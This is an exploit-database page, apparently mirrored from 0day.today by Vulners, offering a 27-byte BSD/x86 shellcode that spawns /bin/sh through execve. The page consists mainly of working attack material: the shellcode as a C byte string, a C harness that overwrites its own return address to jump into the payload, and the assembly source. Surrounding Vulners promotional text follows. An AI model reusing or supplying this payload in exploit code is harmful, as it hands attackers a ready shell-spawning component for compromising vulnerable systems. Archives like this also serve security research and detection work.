Lucene search
K

bsd/x86 execve /bin/sh multiplatform 27 bytes

🗓️ 26 Sep 2004 00:00:00Reported by n0gadaType 
zdt
 zdt
🔗 0day.today👁 33 Views

Shellcode exploits execve to spawn a shell, compactly sized at 27 bytes for multipurpose use.

Code
=============================================
bsd/x86 execve /bin/sh multiplatform 27 bytes
=============================================





/* execve_sh.c by n0gada	
   27 bytes.
*/
#include <stdio.h>

char shellcode[]=
"\xeb\x0d\x5f\x31\xc0\x50\x89\xe2"
"\x52\x57\x54\xb0\x3b\xcd\x80\xe8"
"\xee\xff\xff\xff/bin/sh";

int main(void)
{
 int *ret;

	printf("%d\n",strlen(shellcode));	
	ret = (int *)&ret+2;
	*ret = (int)shellcode;

return 0;

}

/*********************************************
execve_sh.s

	.globl main
	main:
		jmp strings
	start:
		pop %edi
		xorl %eax,%eax
		push %eax
		movl %esp,%edx
		push %edx
		push %edi
		push %esp
		movb $0x3b,%al
		int $0x80

	strings: call start
		.string "/bin/sh"

*********************************************/



#  0day.today [2018-02-16]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Sep 2004 00:00Current
7High risk
Vulners AI Score7
33